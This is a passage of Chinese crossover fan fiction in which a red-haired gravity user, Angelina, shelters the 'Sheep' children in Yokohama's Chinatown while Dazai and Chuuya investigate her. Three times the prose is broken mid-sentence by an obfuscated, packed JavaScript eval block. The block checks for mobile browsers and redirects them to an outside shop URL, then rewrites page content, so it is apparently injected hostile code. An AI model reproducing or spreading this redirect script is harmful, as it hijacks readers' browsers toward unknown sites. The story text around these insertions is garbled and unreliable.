是与脚下这片土地格格不入的中式年代感。 屋主给她们拿了两个纸杯,还有两个彩色的塑料杯托,没放茶叶,就是两杯白开水。老人家慢吞吞地坐到沙发另一边,扶了扶老花镜,用咬字清晰的中文问:“你是,从哪找来的?” 安洁莉娜同样用中文回答:“我看到有招聘老师的广告。” 太久没有说过故乡的语言,一时间竟然有些生涩。 …… 白濑目睹拿着法杖的少女把人一个一个带进月色中,尽管她声称他们只是去了“新的安全据点”,且因为要经过港口黑手党的地盘所以必须低调行事,一次最多只能带三个人。但在白濑很难不怀疑这是为了把他们卖给港口黑手党找的借口。 像是不怀好意的女巫把小羊羔挨个吃掉。 一开始,安洁莉娜只带了年纪最小的花奈去“探路”,但回来的时候就只有她一个人,花奈据说被留在了河对岸。之后三人一组分批次被带走,然后就只剩下他。 安洁莉娜轻巧地落在他面前。 那把看不出材质的“魔法杖”就这样悬浮在地上,没有借助任何凭依,其他人都是坐在这上面被带走了。要经过港口黑手党的地盘还不被发现,肯定只能用飞的。白濑警惕地望着她,不知是害怕还是期待地咽了咽口水。 “行李都收拾好了吗?白濑君。” “……你把他们都带到哪去了?” “安全的地方。”安洁莉娜女巫一样跨坐在秘杖上,闻言催促道,“已经耽误很多时间了,如果港口黑手党赶过来,就没有那么容易走了哦。” 白濑一僵。 他背着鼓囊囊的行李走过去,小心翼翼地跨坐在秘杖上,抱着摔死都要拉个垫背的想法,紧紧地抓住了安洁莉娜的衣角。 安洁莉娜对他的小心思不置一词。 重力掀起小小的气浪,很自然地腾空而起,安洁莉娜握着秘杖迅速拔升,将镭钵街甩在身后。虽然没有进入云层,但有夜晚遮掩,地上的人根本不会注意到有两个小孩在横滨的高空中飞过。 骤然降低的气温让白濑打了个喷嚏。 有重力法术的调整,他并没有很明显的失重感。底下的建筑越来越小,他忍不住探头一望,晕得身体晃了晃,连忙闭上眼。 河道上有货船经过,工厂大道近在眼前,很快进入港口黑手党的地盘,但显然没人发现来自空中的“偷渡客”。 “白濑君,我有件事想要问你。” 白濑打起精神:“……什么事?” “我想找一个人,名字已经忘记了。”安洁莉娜风一样的声音传过来,“虽然这些天我一直恍恍惚惚的,记忆也不清楚,但我还记得有一团火焰。” “火焰?” “嗯,像火焰一样的红色。” 安洁莉娜垂眸看向零零散散亮着光的地面,声音很轻:“是他唤醒了被噩梦纠缠的我,像火焰一样照进了黑暗的海底,所以我想找到他。” “……” “他应该也是‘羊’的成员吧?但我似乎没有看见他,是……已经遇害了吗?” “啊。”白濑舔了舔干涩的嘴唇,“港口黑手党杀了我们好多同伴。” 安洁莉娜回头看他,白濑被盯得直冒冷汗。 “名字呢?”她冷不丁地问。 “……什么?” “即使已经遇害了,你应该也记得他的名字吧?” “之、之前负责你的人又不是我!我怎么知道有谁照顾过你啊!”白濑大声说,“说起来,你是异能力者吧?你的异能力是飞行吗?” 安洁莉娜摇了摇头:“不是,是重力操纵。” 白濑:“……” 那一瞬间,白濑的脑中闪过许多以前未曾留意的片段。 首先是第一次遇到安洁莉娜的时候。她裹着不合身的红色外套,脸上还有血,跌跌撞撞地从死了人的小巷中走出来,怀里抱着个特别长的盒子。 少女红色的长发乱糟糟地披散着,如果不是用发带箍住,恐怕都看不清脸。 有中也在,所以白濑一点都没警惕,也懒得管这个没见过的小孩是谁,反正镭钵街多得是这样的未成年。他跑到那些大人的尸体旁边搜刮,运气很好地摸出了两把枪。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042444|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是在这时候引起注意的。 “这是……什么?”少女抬头看着他,直勾勾的眼神让白濑想起一个人,“你拿着的,是武器吗?” “……”白濑和中也面面相觑。 最先移开视线的是中也。他干咳一声,扬声道:“喂,你是谁?” 沉默。 “为什么会在这里?” 依旧是沉默。 “啧,再不回答我就要攻击了!” “……要去安全的地方。”她突然走过来,差点因为踩到尸体摔一跤,“快点……逃,进入到最后的堡垒里……大家、大家都死去了……” 那双空洞的、如同蒙尘的红宝石一样的眼中流出泪水。像是还不熟悉身体,她走得歪歪扭扭的,最后还是一个踉跄,摔在地上。 “……” “喂,中也。”白濑挪开目光,“走吧,别管了。” 中也没有动,看起来有些纠结。 “当初捡到你就已经够了吧?再来一个可受不了。”白濑双手环胸,毫不掩饰自己的排斥。这人一看就不正常,说不定还是个傻子,捡回来才是个大麻烦。而且那个“计划”就在最近了,他可不想中途出什么岔子。 “少啰嗦啊!”中也一副不耐烦的样子,却又别扭地说,“‘羊’一开始就是为了保护未成年才创立的吧……看她什么都不懂的样子,应该不是敌人。” 白濑扬眉:“……啧。” 真不想再捡一个“中也”回去……白濑暗中翻了个白眼:“中也你可不能擅自做决定,要交给‘评议会’裁决才行。” “我知道,总之先把她带回去再说。” 不,你才不知道。当时他的注意力都在中也的“独裁”和三天后的围剿计划上,现在再回想一下,这如出一辙的登场方式、还有红发!要知道横滨的红发孩子可是很少的,当初港口黑手党的先代首领暴走,不知道为什么屠杀了整座城市的红发孩子,中也大概是因为有异能力才逃过一劫。 就算如此,中也还是戴了好久的兜帽。 结果突然冒出一个红发的孩子? 当时就隐隐约约有些怀疑。 而现在……连异能力都一模一样。 “那个,我有个问题。”从头脑风暴中回过神,白濑咽了咽口水,“一直都没问过,你究竟是谁?为什么会在镭钵街?……你的父母呢?” “诶?”安洁莉娜愣了一下,随后沉默,“……我叫安心院安洁莉娜,父母的话,都已经不在了。”她默念了两遍贫民窟的名字,不得不感慨非常形象,然后将一早想好的说辞抛出来:“至于为什么会出现在镭钵街,我也不知道,总之一睁眼就在那了。” “……这样啊。”白濑干巴巴地说。 安洁莉娜奇怪地看了他两眼。 她本来还想说什么,但目的地已经到了。 此时已经接近四点,中华街已经有店铺的后厨亮起灯,开始为第二天的营业做准备。安洁莉娜在不远处降落,然后带着白濑走到卷帘门前。 “只有这里能让你们暂时逃过港口黑手党的追捕,但庇护不是免费的。” “但钱都在据点里……” “放心,不用你们来付钱。”安洁莉娜说,“我拜托了一位私塾的老师,所有人都可以借住在这里,也不会泄露你们的行踪,但是有条件的。” 她转头看向白濑,笑眯眯地说:“白天都要去私塾上学,放学之后要去饭店帮忙。不好好听话就没有饭吃哦,白濑君。” 从没上过学的白濑一呆:“哈?” 5. 兄弟姐妹 白濑还在思考她话中的含义,就被带上了楼。 其他人已经铺好被褥准备睡觉了。 这显然是临时腾出来的房间,角落里还摆满了堆叠起来的桌椅,男孩子们挤挤挨挨铺了十个被褥,刚好把深棕色的木地板填满。 “白濑!”有男生招手,“你的床铺已经帮你铺好了!” “哦……哦,谢了。”白濑把包裹放在枕头旁边,借着半掩的门看见隔壁女生在互相借牙膏和毛巾,安洁莉娜也在那边。 “今晚先将就一下,明天带你们买新的。”这么说着,她走到门边,用两个房间都能听清的音量道,“既然人都到齐了,我就先说明一下情况。” 所有人都停下手上的动作,十多双眼睛齐刷刷看过去。 “首先是自我介绍。我的名字是安心院安洁莉娜,叫我安洁莉娜就好了,是一名信使。”在天灾横行的泰拉世界中,建立移动城市是大多数文明和国家的选择,因此只有极少数地区有基站,移动城市之间的信息交流和物流运输都只能依靠信使完成。 信使的日常就是奔波在荒野与城市之间。 “三天前,失去意识的我被‘羊’救了回来。作为报答,今天我出手保护了你们,恩情已经还清了。”安洁莉娜顿了顿,“这里是中华街的一家私塾,我和私塾主人做了交易,为你们交了一个月的学费。这一个月里你们可以暂时住在这里,但需要遵守私塾的规矩,否则就请离开中华街,明白了吗?” 少年们面面相觑,参差不齐地应着声。 安洁莉娜竖起手指,强调道:“必须要遵守规矩,知道了吗?” 他们这才小鸡啄米似的点头:“知道了——” 还有得教啊。安洁莉娜叹了口气:“这一个月内我会留在这里,同时还有老师给你们上课,有我在,港口黑手党不会伤害你们。但,仅限一个月。” “这一个月里,就好好考虑一下之后要怎么办吧。” 不等他们再说什么,安洁莉娜拍了拍手:“好了!已经很晚了,快点排队洗漱睡觉了!明天下午就是第一堂课,如果不给老师留个好印象的话,小心被赶出去哦。” - 日光熹微。 在寻常的一天,镭钵街迎来了一群不寻常的客人。 他们像食腐的乌鸦一样安闲地朝着注定死去的猎物行进着,无所谓高调或是低调。毕竟再高调,能有港口黑手党的存在本身高调吗?再低调,港口黑手党又能低调到哪去呢? 在横滨,港口黑手党即是这座城市的暗夜本身。 “呜哇,这也能算是账本吗?还是交给森先生去头疼吧。” 太宰治带着一队黑手党进入已经废弃的“羊”据点,一进来就看见摆在桌上的笔记本,于是走上前去翻了翻。然而看了几眼他就果断合上,转而挑剔地打量起据点的环境。 很明显能看见收拾过的痕迹,床架上的被褥床垫都没留,只剩个空木板;大部分装生活用品的箱子都空了,但食物却基本没动,说明并不是完全的新据点……太宰治的食指轻点下巴,没意外其他贵重资产都好好地放在原地。 核对和查账的事情就交给专业人士好了。黑吃黑可不光是剿灭组织成员就结束的事情,最重要的是组织留下的“遗产”。房子、珠宝、现金等资产不过是最表层的,最重要的是其主要业务——包括上家渠道、运输线路、下家市场……里世界的“扩张”就是以大鱼吃小鱼的形式实现的。 从这方面来讲,“羊”简直是最弱小的组织。 一个没有主营业务、专靠抗争与反击来获得利益的组织,然而又不像GSS能对外提供安保服务,“羊”真正能战斗的只有重力使中原中也。 太宰治站在那面瞩目的白板前,暗沉的瞳孔像一片死寂的深潭。 拍照留证的成员走过来,太宰治叫住他:“照片给我发一份,不,只要白板这张。” 这是为港口黑手党特别期刊——《本周不服输的中也》所收集的素材。不过在手机发出收到邮件的提示音前,来电铃声就先响了起来,来电人正是白板上的主角。 “一个人都没有,而且一看就很久没有人来过了,到处都是灰尘。”本应在医院吊水的中原中也在电话那边说道。 “果然不在吗。” “啧,我可是听你说‘神秘异能力者和逃走的人有可能在这里’,才从医院的病床上逃下来的。” “是吗。”太宰治用平板无波的语气说,“那真是遗憾。” “喂!绷带混蛋,这里到底是哪?为什么你特地要我来搜查这里?” “是我查到的‘羊’其中一个成员绕过你私下购置的房产,户主的名字是白濑抚一郎……不过从今以后也是属于港口黑手党的财产了。” “……” 中原中也望着搜查出来的几把枪,握着电话的手紧了紧。 “我知道了。”他低低地说,“下一个搜查地点在哪?” “没有了。”太宰治干脆地道,语气听起来莫名乖巧。 “啊?” “啊呀……‘羊’果然还是太贫穷了,连组织成员背着首领偷偷购置的私人房产都只有这一处呢。”太宰治嫌弃地抖了抖那写满稚嫩笔迹的账本,“完全依靠掠夺和反击才能存活至今的‘羊’,不愧是脑子里都充满肌肉的小学生组织!” “宰了你哦?” “但是,还有一个地方得让中也去呢。” “哪里?” 太宰治嘴角勾起一抹意味不明的微笑:“兰堂先生的墓地——也就是你昨天受到袭击的地方。” …… 昨天才被捅了一刀,吊了大半天的水才把老鼠药的部分毒性代谢掉,据说剩下的余毒至少得花半年才能排除干净。如果不是因为太宰治突然来病房说要找逃走的“羊”,中原中也才不会拖着病体从医院溜出来。 因此他是坐车过来的。他还没正式加入港口黑手党,当然不会有配车,这是森鸥外专门给外出调查的太宰治配的。 中原中也撑着脸望向窗外,后腰还明晰地传来痛楚,莫名烦躁。 这份烦躁在看到山崖上的一片狼藉时达到了巅峰。 “啧,这里是公墓吧。” 专门挑选的海边公墓本应该是宁静、平和、美丽的地方。然而如今血迹和弹坑随处可见,可见昨天的战斗有多么激烈。 太宰治站在一圈倒伏的草地里,海风拂过他鸦羽般黑色大衣。 “昨天我就是在这里被抡到地上的,被那位神秘的异能力者少女。”他幽幽地说,“糟透了,我的背现在还在痛呢。” 中原中也嗤笑一声。 只是草地有倒伏而已,连地皮都没破坏,跟太宰治自己摔下去有什么区别。“如果动手的是我,你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042445|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对在医院里躺着动都动不了。” “诶——但是今天在医院躺着动不了的是中也才对吧。” “少废话啊!叫我来这里干什么?” “昨天中也摔到山崖下面去了呢,所以不知道。”太宰治轻笑着,“那边的弹坑,也是异能力者少女做的。” 中原中也看向那笔直排列的弹坑。 “昨天我假装被挟持,在她营救我的时候趁机触碰到了她,用无效化的能力让她无法使用异能,然后下令让所有人开枪。” “……”中原中也皱眉,“你又在找死,自杀狂。” 太宰治摊了摊手:“但如你所见,又失败了。” “——那名少女,在【无法使用异能】的情况下,【没有借力】就【单手】让那柄魔法杖一样的武器旋转起来,弹开了【所有】子弹。而且我后来检查,所有开枪的黑手党都没有受到致命伤,最严重的不过是大腿中弹罢了。”太宰治微笑起来,“你知道这意味着什么吗,中也。” 这样的力量,这样的精密度,这样……多余的仁慈。 中原中也张了张嘴,却说不出一句话。 “那绝不是人类能做到的力量。”太宰治悠闲地在那些弹坑周围转了一圈,“而且因为短短一个月内和中也交手的次数太多了,所以我能轻易认出那名少女的异能——是重力操纵。” “……” “哎呀,看你这个表情,看来是有什么头绪吗?” “……还在‘羊’的时候,她几乎没有神智,会攻击靠近的所有人。”中原中也从干涩的喉咙里挤出这句话,“但是‘羊’没有人受伤,因为每当我用重力操控她浮起来时,她就会安静下来。” 就像回到了最安心的港湾,连赤红如血的双眸都会变得平和,然后陷入沉睡。 太宰治平静地望着他,突然转身就走。 中原中也怔了怔,连忙跟了上去:“你要去哪?” “回去报告森先生。”他说,“又有一只‘荒霸吐’出现了——说不定是中也的兄弟姐妹呢。” “喂!” “啊,不过既然是兄弟姐妹,那应该不叫荒霸吐,应该叫什么呢?玉藻前?御馔津?” “……荒霸吐的兄弟姐妹为什么会是稻荷神啊!” “谁知道呢?啊但是但是,我现在知道是中也是小个子的原因了——是遗传啊!” “都说了我还在生长期!以后我会继续长高的混蛋!” “是吗?但是遗憾的是中也已经被我诅咒了。” “要是我现在就把你宰了你也不会再长高了。”中原中也捏紧拳头,然而下一秒他积攒的怒气又溃散了,肩膀也沉下去,“混蛋太宰,你能确定那是我的……兄弟姐妹吗?” 太宰治的睫羽颤了颤。 “当然。”他喃喃着,“这样的因缘联结,即使是多么强大的力量都无法轻易斩断。” “……什么意思?” “意思是——我也不知道。” “哈?你是在耍我吗??” “你发现了啊。” “把人当傻子也给我有个限度啊你这阴暗男!” “对了中也!我还有个大发现!即使是和‘神明’的兄弟姐妹相比,你也是最矮的哦!中也,你不会是整个神明大家族里最矮的那个吧。” “……果然我现在就宰了你吧。” 6. 联结 偷溜出医院的事情当然是瞒不住的。 背后的伤口再次裂开,原定的一周出院也被延长到了两倍。中原中也耷拉着脑袋,一边挨训一边伸出手让护士小姐扎针吊水,在心里把某个害他沦落至此的罪魁祸首揍了无数遍。 “真是的,不要再擅自乱动了。”护士小姐利索地固定好他手上的吊针,“如果病人您再不听话,我们就只能采取一些强制措施了。” “……强制措施?” 护士小姐扬起一个让人背后一凉的微笑——这里是隶属于黑手党的医院,能够熟练应付对各类稀奇古怪的黑手党病人的医护人员绝不是什么善茬:“您不会想要知道的。” 中原中也默默闭嘴了。 重新缝合好背后的伤口后,无所事事的养伤时光难熬又飞快地过去了。 异能力者的体质通常比普通人好得多,拆线的时候只觉得痒,只在天气不好的时候会有些隐痛。倒是老鼠药的毒性还没排干净,每隔一段时间最好来做一次血检。 出院后,中原中也再一次踏入港口黑手党的首领办公室。 明明并没有过去多久,却是截然不同的身份和心情。 中原中也心情复杂地收下据说是兰堂遗物的黑色帽子,只听森鸥外说道:“……他曾潜入的设施,是将异能与现存的生物结合、实施军用研究的设施。或者说,人工异能的研究。” “军用……人工异能?” “另外,‘荒霸吐’这个称呼,是八年前目击爆炸的人们起的。当然‘荒霸吐’在研究设施内用的是其他名称——‘试作品·甲二五八号’呢。” 中原中也睁大了眼睛。 “那——” 如果说“荒霸吐”根本不是什么神明,而是人工异能的实验产物的话,那所谓的“兄弟姐妹”岂不是也…… 森鸥外双手交叠放在小腹上,向他投去一瞥。“关于那位救走‘羊’成员的神秘异能力者少女……我大概听太宰君报告过了。”说着他望向巨大落地窗外的青空,平静的表情像是焊在面上一样不可动摇,让人猜不出他的真实想法,“就目前的情报而言,无法排除她是和‘荒霸吐’同一批实验品的可能性。” 中原中也捏紧了手中的帽子。 “关于那位少女,太宰君的意见是?” “……‘等’,他是这么说的。” “我和太宰君持相同的意见。”森鸥外说,“既然她会出现在镭钵街、并在神志清醒的第一时间救走‘羊’的成员……那么她和中也君你必然有所联结,现在要做的是等待即可。” 等待对方找上门来。只有弄清楚她的目的,才不会落到被动的地步。 “我知道了。”中原中也抿了抿唇,应了下来。 “当然,我并不反对你继续寻找他们的下落。”森鸥外微笑着,“如果那位少女真的是和‘荒霸吐’同样的存在,那你们之间的联结会比单纯的血缘关系更牢固。” - 此时的安洁莉娜尚不知道他们得出了什么奇奇怪怪的结论。 她正忙着将货物从车上卸下来,然后运送到仓库里,一箱一箱地码好。平常要好几个工人借助工具才能完成的工作,她一个人就能搞定。 “多谢啦,小安洁。”酒馆的老板感谢地给她拿了一瓶饮料,无酒精的那种,瓶身上贴的标签是中文,但是安洁莉娜从未见过和听过的牌子,“如果没有你帮忙,我今晚上就只能卖饮料了。” 安洁莉娜接过,轻松打开瓶盖灌了两口,促狭道:“如果是卖这个饮料的话,说不定客人比平常还多呢。” 酒馆老板把递过去的开瓶器放回兜里,双手叉着腰,一副得意的样子:“这可是我千辛万苦从国内进的货,怎么样?小时候喝过吧?” “好喝。”安洁莉娜笑了笑,“老板,我还有工作没有做完,先去忙啦!” “那就不打扰你了,工作加油啊!” “好——”她挥了挥手,脚尖一点,朝不远处的二楼飞去。 那是她为“羊”找的新住所和新学校。 不可思议的上学生活已经持续了两个星期。 说是上学,其实是在私塾里听课,毕竟镭钵街出身的孩子们连身份证明都没有,当然去不了学校。授课的老师只有两个,一个是说话慢吞吞的老婆婆,一个是安洁莉娜。 课程只有国文、数学和活动课。所谓活动课,就是到中华街的各个店铺和邻居帮忙,有时候是在高峰期的饭点端菜洗碗,有时候是给邻居大叔的菜园子浇水除草,甚至有一次赶上新人结婚,不仅帮忙布置婚礼现场,还跟着收了不少红包…… 没有工资,纯粹义务劳动,就当抵房租和餐食费了。 此时正是放学时间,孩子们挤挤挨挨地坐在同一张大桌子上,埋头写作业。 白濑咬着铅笔头,然而咬了两口就连忙松开。他之前咬铅笔头被安洁莉娜发现,做了整整十页的算术题,还把错误率高达70%的数学作业贴在墙上以儆效尤。 白濑:“……”可恶! “白濑,你的作业又没交。” 绫美对着名单把人数清了一遍,抓住了漏网之鱼。 以前在“羊”的时候,她是负责在白板上排班的人,也是“评议会”里针对中也行动惟一投弃权票的成员。安洁莉娜听说后,把她选成了“班长”,负责收发作业、课前点人、维持纪律一类的杂事。 因此白濑似乎很不爽她成了那个“领头羊”,经常不交作业和扰乱纪律,好在安洁莉娜压得住他。 现在也是这样。 “我知道,你先收其他人的吧。”白濑敷衍地说。 “但只有你没交了。” “啧。”白濑不耐烦地应了一声,“我之后会交的。” “上次你也是这么说的……” “够了吧!” 白濑突然站起来,椅子在地板上摩擦出尖锐的声音,室内顿时一静。 “作业作业,你真当自己是什么狗屁‘班长’了吗?!”他高声道,“我们可是‘羊’啊!你们忘了我们的敌人——是港口黑手党吗?” 提起那个黑夜中的暴君,孩子们都是一抖。 “港口黑手党……应该没有关系吧。”有人小声地说,“这两个星期都没有港口黑手党的人追过来,而且、而且安洁莉娜姐姐会保护我们的……!” “你傻吗?”白濑嗤之以鼻,“我早就说过吧,不能将所有同伴的性命都交给某一个人的心情决定——这就是组织的‘脆弱性’,仅仅是中也一个人的背叛,我们就沦落到现在这个下场。” 众人都沉默了。 绫美抱紧怀中的作业册:“安洁莉娜不会做这样的事情的……” “中也背叛之前,不是还有人相信他绝不会做这种事情吗。”白濑冷眼看向她,“上次投票的时候,你也是这样说的,结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042446|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” “……” 白濑环视一圈,将所有人的表情尽收眼底。 “我们不能坐以待毙。”他带着一种领袖气质地宣布道,“好好想想吧,港口黑手党是不可能放过我们的,别忘了,背叛的中也现在也是港口黑手党的人。” 小羊们面色苍白。 “但是,白濑哥。”年龄最小的花奈放下画笔,难过地说,“我不想再回镭钵街了……我想继续上学,可以吃饱饭,不用担心第二天就被敌人杀掉。” “我也是……” “中也、中也就算背叛,也不会来杀我们的吧?” 有了安逸的生活作对比,以前朝不保夕的日子简直就像是一场噩梦。 现在,每天早上醒来可以看见温暖的太阳,早饭还可以吃热腾腾的小笼包;虽然每天做作业很讨厌,但是和大家一起上课很开心,学到了很多以前从来不知道的东西;邻居们也很好,虽然有些话听不懂,但大家都是很好的人,就算不小心把盘子打碎了,好好道歉和补偿就能获得原谅,不用付出性命的代价。 这是他们从未奢望过的、无比珍贵的日常。 即使知道现在美好而平静的生活是无比脆弱的泡沫,也忍不住多贪恋一些。 “我想留在这里,白濑哥。”花奈仰起头,恳求道。 白濑冷笑:“你有父母吗?” “……” “醒醒吧!”他握紧拳头,“那是有父母疼爱的孩子才能做的美梦——我们只不过是被遗弃在垃圾堆中的无用垃圾而已!你以为会有人毫无所求地对你好吗?不过是为了榨取更多利用价值罢了!” 他低下头,额前的碎发落下来挡住视线。洗发露残留的香气分子自然地进入鼻腔,是以前从没用过的牌子——倒不如说从没用过“有牌子”的洗发露,都是从加工厂倒卖出来的废料装瓶罢了。 香氛的味道织成一场美妙的幻梦。 白濑深吸一口气,又吐出。 “而且,那个女人也说了吧,‘仅限这一个月’。我们拥有的,只有自己而——” “咦,你们在说什么?” 安洁莉娜就是在这时候从窗户进来的。 她轻巧地落到木地板上,自然地走过来。“是在做作业吗?有什么不会的题可以问。”她对抱着作业的绫美点点头,从兜里摸出一颗糖,“辛苦啦,班长大人,作业的情况怎么样?” 绫美面无表情:“白濑没交。” 白濑:“……” “又是你啊。”安洁莉娜双手环胸,叹了口气,“白濑君,我理解你不喜欢写作业的心情。但不写作业的话就无法真正掌握学习的知识,还会给别人添加不必要的工作量——我和老师已经够忙了,学习的机会是很宝贵的,要好好珍惜啊。” “我……” 安洁莉娜揉了揉眉心:“我来是干什么来着……对了,我接下来还有工作,晚上不用等我吃饭。” 绫美担心地说:“会不会太忙了?” “没办法,这次的货物很重要。”安洁莉娜笑了笑,“放心吧,有事电话联系。” 绫美放下作业,起身走向厨房:“刚好中午剩了米饭,我做了两个饭团。不介意的话,安洁莉娜就带着晚上吃吧。” “谢啦~”安洁莉娜笑道,然后转头严肃地盯着白濑,“记得把作业补上,不要给班长添麻烦!” 白濑:“……” 7. 不详 终于在中华街安顿下来啦!信使的工作进展也很顺利!大部分事情都步上了正轨,一切都在朝着好的方向发展! 不过有几个孩子的状态很低落的样子,之后得专门谈谈心才行。白濑还是老样子,和以前每个班上都会有的调皮捣乱的男生一样,终于知道为什么老师们总是这么生气了。【生气安洁莉娜涂鸦】 还有横滨最近的气氛好紧张,总是听到有人被暗杀的消息,前几天港口黑手党内部还处决了一批人,之后应该也会持续动荡吧……不过这样他们应该没有多余的精力来追缉我们了。最近的委托必须要更谨慎一些才行! 【安洁莉娜手记】NO.3 东京XX医院阴 - 信使的工作在新世界开展得很顺利。 按理说,这个世界没有天灾、人们也无需建造移动城市,信使的工作应当难以进行才是。但横滨是个特别的地方——这里的非法组织和人员多得吓人,随便走个偏僻点的巷道都能撞上交易现场,安洁莉娜甚至有种回到家乡的亲切感。 ……嗯,自从西西里夫人从拉特兰带回【铳与秩序】、建立灰厅后,叙拉古也很少这么混乱了。 所谓非法组织,并不代表永远在行使暴力——只是并不拘泥使用暴力而已,不过通常来说这种暴力是被法律所禁止的,因此才会被认为是“非法”;但也只是【认为】而已,非法组织能长久生存的另一个要点就是:永远不要留下能被定罪的证据。 留有标记的信物、特制的枪械和子弹……甚至是交易的记录、能被查出踪迹的交通工具、留有档案的押送人员等等。 总之,不会留下任何痕迹的信使在这座城市非常吃香。 这些天安洁莉娜接下了许多委托——小到给邻居奶奶的初恋情人送花,大到把还有30秒爆炸的炸弹送进海里、并在军警到来之前迅速逃离现场,又或者是护送某家企业的商业机密文件防止被敌对公司抢走……因为总是能高效率、不出差错地完成委托,安洁莉娜作为“信使”的名声迅速打响,源源不断的运输订单让她越发忙碌起来。 ……毕竟完全是黑户,要找工作的话只能在里世界找了。 但这次的委托看起来很特别。 “送到医院的【镇静类】药物……”安洁莉娜看见邮件的描述,不由得皱了皱眉。 一旦涉及到药物的运输,再小心都不为过。安洁莉娜从不怀疑这个城市的暗面中会有人进行某些成瘾性药物的走私,如果是这样的话,必须要搞清楚这条产业的上下线——并非出于铲除的目的——禁毒是一件长期且艰辛的事情,庞大的产业链也不是个人的力量能撼动的。 在接取了许多任务的同时,安洁莉娜也拒绝了很多。 不只是因为时间和精力上的不足,更多的是【不可以接取】。比如表面上只是运输珠宝,但实际上珠宝只是幌子,而装着珠宝的盒子里藏匿了犯罪组织要杀害的官员名单;又比如说是宠物店进货,但打开笼子却发现里面全是从外国走私来的珍稀动物,甚至还有一两个小孩…… 信使的工作并不轻松。送件人和收件人可能都有自己的野心,包裹里也许埋藏着惊人的秘密……如果信使光盯着脚下的路,是会因为看不见落脚点而坠落的。*出自安洁莉娜语音 托这些千奇百怪的委托的福,安洁莉娜甚至称得上横滨新晋的情报屋。 但调查是有必要的,从此以后要尽量避开相关组织和个人的委托,这也是安洁莉娜总能完美完成任务的最重要原因。 她查了查医院的地址和资料,回复道: 【需要检查货物】 【可以。最后答复时间】 【六点】 【可以】 安洁莉娜删掉会留下痕迹的邮件,吐出一口气。 “好了!开始工作吧!”她拍了拍脸,给自己加油鼓劲。 - 下午三点,正是最昏昏欲睡的时候。 换班的护士打了个哈欠,不小心被撞了满怀,还没等她抱怨,便听见一声抱歉:“不好意思……请问一下小儿科的住院部在哪里?” 遭受无妄之灾的护士正要发火,低头一看,穿着洋裙的少女隔着口罩对她歉意地笑了笑,那双红宝石一样的眼睛诚恳地望着她,顿时那股火便不自觉地消下去了。 “医院内不许奔跑,下次一定要注意。”护士叮嘱着,还是指了路,“住院部的话在另一栋楼,出电梯之后直走到尽头左转就到了,这里是小儿科的门诊部。” “谢谢您。” 少女低头道谢。她的一席长发编成辫子垂在身后,和浅黄色的裙摆相得益彰,宛如一朵清丽的雏菊。护士注意到她戴着口罩,心中猜测她究竟患上了什么疾病。 抱着一种对可爱小姑娘的怜爱,护士多问了一句:“是要去办理住院手续吗?你的父母呢?” “不是我,是我妹妹。”少女一副担忧的神情,“我听说她最近状态不是很好……住院时间也延长了,但病因却是不明,和她同病房的孩子似乎也不好的样子,您知道是怎么回事吗?” 护士的面上快速划过一丝恐惧,却又很快掩藏起来,生硬地说:“……抱歉,这是病人的隐私,我们不能透露。” “是我给您添麻烦了。”少女再次道歉,“谢谢您为我指路,我先告辞了。” 说着她浅鞠一躬,先行离开了。 然而她并没有如护士所说前往另一栋楼,而是脚下一拐,朝着截然相反的方向走去。 少女正是安洁莉娜。 如果是“羊”的孩子在这里,恐怕也得仔细辨认才能勉强认出。 和平时的打扮完全不同,此时的她没有拿比人还高的秘杖和武器盒,而是挎着一个巴掌大的小口袋;不合身的红色长外套也换下来,穿上了有两层裙摆的浅黄色小洋裙,双马尾编成长辫,遮阳帽和口罩完美地挡住了面部。 她没有直接去交货地点,而是先来到医院进行调查。 “大量用药的竟然不是成人,而是儿童……吗。” 潜入档案室没发现异常的用药记录,神经科的病历资料也没有异常,但查看近期的住院记录时,却发现有不少儿童突然出现病情恶化不得不延长住院时间的情况。 不仅是非法用药,用药对象还是儿童…… 安洁莉娜的面色冷了冷,查到住院部的值班记录后,她便迅速找到了先前值班的护士。套话的过程中,她没有错过对方那一闪而逝的恐惧。 非法实验?虐待?不像……这两者都是需要长期准备和长期实施的行为,尤其对象还是儿童。但近一年内小儿科没有新医生和护士入职,这次的货物下的也是当天送到的急单。而且护士的反应也很耐人寻味,如果占据有利地位的是医院,为什么会恐惧? 如果医院才是被动的一方,那就说得通了……大量未成年病患突然出现伤人或自伤的行为,院方为了保住声誉,不得不将事实掩盖下去。而镇静类药物是受到严格管制的处方药,因此只能从非法渠道获取,这就是安洁莉娜此时会站在这里的原因。 不是非法实验,也不是虐待,像是院方措手不及想要掩 